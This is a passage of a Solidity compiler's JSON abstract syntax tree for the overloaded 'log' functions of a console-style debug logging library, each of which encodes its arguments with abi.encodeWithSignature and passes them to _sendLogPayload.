visibility":"internal"}],"src":"52894:39:15"},"returnParameters":{"id":29847,"nodeType":"ParameterList","parameters":[],"src":"52948:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29883,"nodeType":"FunctionDefinition","src":"53058:175:15","nodes":[],"body":{"id":29882,"nodeType":"Block","src":"53130:103:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c626f6f6c2c737472696e6729","id":29874,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"53180:28:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_2ae408d4d030305a0361ad07c397f2b9653613b220d82459c7aeb9a6bab96c15","typeString":"literal_string \"log(bool,bool,bool,string)\""},"value":"log(bool,bool,bool,string)"},{"id":29875,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29862,"src":"53210:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29876,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29864,"src":"53214:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29877,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29866,"src":"53218:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29878,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29868,"src":"53222:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2ae408d4d030305a0361ad07c397f2b9653613b220d82459c7aeb9a6bab96c15","typeString":"literal_string \"log(bool,bool,bool,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":29872,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"53156:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29873,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"53160:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"53156:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29879,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"53156:69:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29871,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"53140:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29880,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"53140:86:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29881,"nodeType":"ExpressionStatement","src":"53140:86:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"53067:3:15","parameters":{"id":29869,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29862,"mutability":"mutable","name":"p0","nameLocation":"53076:2:15","nodeType":"VariableDeclaration","scope":29883,"src":"53071:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29861,"name":"bool","nodeType":"ElementaryTypeName","src":"53071:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29864,"mutability":"mutable","name":"p1","nameLocation":"53085:2:15","nodeType":"VariableDeclaration","scope":29883,"src":"53080:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29863,"name":"bool","nodeType":"ElementaryTypeName","src":"53080:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29866,"mutability":"mutable","name":"p2","nameLocation":"53094:2:15","nodeType":"VariableDeclaration","scope":29883,"src":"53089:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29865,"name":"bool","nodeType":"ElementaryTypeName","src":"53089:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29868,"mutability":"mutable","name":"p3","nameLocation":"53112:2:15","nodeType":"VariableDeclaration","scope":29883,"src":"53098:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29867,"name":"string","nodeType":"ElementaryTypeName","src":"53098:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"53070:45:15"},"returnParameters":{"id":29870,"nodeType":"ParameterList","parameters":[],"src":"53130:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29906,"nodeType":"FunctionDefinition","src":"53239:164:15","nodes":[],"body":{"id":29905,"nodeType":"Block","src":"53302:101:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c626f6f6c2c626f6f6c29","id":29897,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"53352:26:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_3b2a5ce0ddf7b166153a4354c81efba12a817983a38c6bc3b58fd91ce816d99f","typeString":"literal_string \"log(bool,bool,bool,bool)\""},"value":"log(bool,bool,bool,bool)"},{"id":29898,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29885,"src":"53380:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29899,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29887,"src":"53384:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29900,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29889,"src":"53388:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29901,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29891,"src":"53392:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3b2a5ce0ddf7b166153a4354c81efba12a817983a38c6bc3b58fd91ce816d99f","typeString":"literal_string \"log(bool,bool,bool,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":29895,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"53328:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29896,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"53332:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"53328:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29902,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"53328:67:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29894,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"53312:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29903,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"53312:84:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29904,"nodeType":"ExpressionStatement","src":"53312:84:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"53248:3:15","parameters":{"id":29892,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29885,"mutability":"mutable","name":"p0","nameLocation":"53257:2:15","nodeType":"VariableDeclaration","scope":29906,"src":"53252:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29884,"name":"bool","nodeType":"ElementaryTypeName","src":"53252:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29887,"mutability":"mutable","name":"p1","nameLocation":"53266:2:15","nodeType":"VariableDeclaration","scope":29906,"src":"53261:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29886,"name":"bool","nodeType":"ElementaryTypeName","src":"53261:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29889,"mutability":"mutable","name":"p2","nameLocation":"53275:2:15","nodeType":"VariableDeclaration","scope":29906,"src":"53270:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29888,"name":"bool","nodeType":"ElementaryTypeName","src":"53270:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29891,"mutability":"mutable","name":"p3","nameLocation":"53284:2:15","nodeType":"VariableDeclaration","scope":29906,"src":"53279:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29890,"name":"bool","nodeType":"ElementaryTypeName","src":"53279:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"53251:36:15"},"returnParameters":{"id":29893,"nodeType":"ParameterList","parameters":[],"src":"53302:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29929,"nodeType":"FunctionDefinition","src":"53409:170:15","nodes":[],"body":{"id":29928,"nodeType":"Block","src":"53475:104:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c626f6f6c2c6164647265737329","id":29920,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"53525:29:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_8c329b1a1752dedfc6b781d23096b49b7f905d62405e6e3f0ab0344786ff69f4","typeString":"literal_string \"log(bool,bool,bool,address)\""},"value":"log(bool,bool,bool,address)"},{"id":29921,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29908,"src":"53556:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29922,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29910,"src":"53560:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29923,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29912,"src":"53564:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29924,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29914,"src":"53568:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8c329b1a1752dedfc6b781d23096b49b7f905d62405e6e3f0ab0344786ff69f4","typeString":"literal_string \"log(bool,bool,bool,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":29918,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"53501:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29919,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"53505:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"53501:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29925,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"53501:70:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29917,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"53485:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29926,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"53485:87:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29927,"nodeType":"ExpressionStatement","src":"53485:87:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"53418:3:15","parameters":{"id":29915,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29908,"mutability":"mutable","name":"p0","nameLocation":"53427:2:15","nodeType":"VariableDeclaration","scope":29929,"src":"53422:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29907,"name":"bool","nodeType":"ElementaryTypeName","src":"53422:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29910,"mutability":"mutable","name":"p1","nameLocation":"53436:2:15","nodeType":"VariableDeclaration","scope":29929,"src":"53431:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29909,"name":"bool","nodeType":"ElementaryTypeName","src":"53431:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29912,"mutability":"mutable","name":"p2","nameLocation":"53445:2:15","nodeType":"VariableDeclaration","scope":29929,"src":"53440:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29911,"name":"bool","nodeType":"ElementaryTypeName","src":"53440:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29914,"mutability":"mutable","name":"p3","nameLocation":"53457:2:15","nodeType":"VariableDeclaration","scope":29929,"src":"53449:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":29913,"name":"address","nodeType":"ElementaryTypeName","src":"53449:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"53421:39:15"},"returnParameters":{"id":29916,"nodeType":"ParameterList","parameters":[],"src":"53475:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29952,"nodeType":"FunctionDefinition","src":"53585:176:15","nodes":[],"body":{"id":29951,"nodeType":"Block","src":"53654:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c616464726573732c75696e7432353629","id":29943,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"53704:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_4c123d5798ed03bd59911522da9ad7b1fc4e62f5a5de1c95ef20dc3897657cf1","typeString":"literal_string \"log(bool,bool,address,uint256)\""},"value":"log(bool,bool,address,uint256)"},{"id":29944,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29931,"src":"53738:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29945,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29933,"src":"53742:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29946,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29935,"src":"53746:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":29947,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29937,"src":"53750:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4c123d5798ed03bd59911522da9ad7b1fc4e62f5a5de1c95ef20dc3897657cf1","typeString":"literal_string \"log(bool,bool,address,uint256)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":29941,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"53680:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29942,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"53684:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"53680:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29948,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"53680:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29940,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"53664:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29949,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"53664:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29950,"nodeType":"ExpressionStatement","src":"53664:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"53594:3:15","parameters":{"id":29938,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29931,"mutability":"mutable","name":"p0","nameLocation":"53603:2:15","nodeType":"VariableDeclaration","scope":29952,"src":"53598:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29930,"name":"bool","nodeType":"ElementaryTypeName","src":"53598:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29933,"mutability":"mutable","name":"p1","nameLocation":"53612:2:15","nodeType":"VariableDeclaration","scope":29952,"src":"53607:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29932,"name":"bool","nodeType":"ElementaryTypeName","src":"53607:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29935,"mutability":"mutable","name":"p2","nameLocation":"53624:2:15","nodeType":"VariableDeclaration","scope":29952,"src":"53616:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":29934,"name":"address","nodeType":"ElementaryTypeName","src":"53616:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":29937,"mutability":"mutable","name":"p3","nameLocation":"53636:2:15","nodeType":"VariableDeclaration","scope":29952,"src":"53628:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29936,"name":"uint256","nodeType":"ElementaryTypeName","src":"53628:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"53597:42:15"},"returnParameters":{"id":29939,"nodeType":"ParameterList","parameters":[],"src":"53654:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29975,"nodeType":"FunctionDefinition","src":"53767:181:15","nodes":[],"body":{"id":29974,"nodeType":"Block","src":"53842:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c616464726573732c737472696e6729","id":29966,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"53892:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_a0a479635c05dee438b610769de0f667f2e93ee267e4cd4badf3dd44eb6271d2","typeString":"literal_string \"log(bool,bool,address,string)\""},"value":"log(bool,bool,address,string)"},{"id":29967,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29954,"src":"53925:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29968,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29956,"src":"53929:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29969,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29958,"src":"53933:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":29970,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29960,"src":"53937:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a0a479635c05dee438b610769de0f667f2e93ee267e4cd4badf3dd44eb6271d2","typeString":"literal_string \"log(bool,bool,address,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":29964,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"53868:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29965,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"53872:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"53868:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29971,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"53868:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29963,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"53852:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29972,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"53852:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29973,"nodeType":"ExpressionStatement","src":"53852:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"53776:3:15","parameters":{"id":29961,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29954,"mutability":"mutable","name":"p0","nameLocation":"53785:2:15","nodeType":"VariableDeclaration","scope":29975,"src":"53780:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29953,"name":"bool","nodeType":"ElementaryTypeName","src":"53780:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29956,"mutability":"mutable","name":"p1","nameLocation":"53794:2:15","nodeType":"VariableDeclaration","scope":29975,"src":"53789:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29955,"name":"bool","nodeType":"ElementaryTypeName","src":"53789:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29958,"mutability":"mutable","name":"p2","nameLocation":"53806:2:15","nodeType":"VariableDeclaration","scope":29975,"src":"53798:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":29957,"name":"address","nodeType":"ElementaryTypeName","src":"53798:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":29960,"mutability":"mutable","name":"p3","nameLocation":"53824:2:15","nodeType":"VariableDeclaration","scope":29975,"src":"53810:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29959,"name":"string","nodeType":"ElementaryTypeName","src":"53810:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"53779:48:15"},"returnParameters":{"id":29962,"nodeType":"ParameterList","parameters":[],"src":"53842:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29998,"nodeType":"FunctionDefinition","src":"53954:170:15","nodes":[],"body":{"id":29997,"nodeType":"Block","src":"54020:104:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c616464726573732c626f6f6c29","id":29989,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"54070:29:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_c0a302d8f11e8919127c20f396068f7014b94967efb042778db9b27b68ee1eaf","typeString":"literal_string \"log(bool,bool,address,bool)\""},"value":"log(bool,bool,address,bool)"},{"id":29990,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29977,"src":"54101:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29991,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29979,"src":"54105:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29992,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29981,"src":"54109:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":29993,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29983,"src":"54113:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c0a302d8f11e8919127c20f396068f7014b94967efb042778db9b27b68ee1eaf","typeString":"literal_string \"log(bool,bool,address,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":29987,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"54046:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29988,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"54050:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"54046:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes 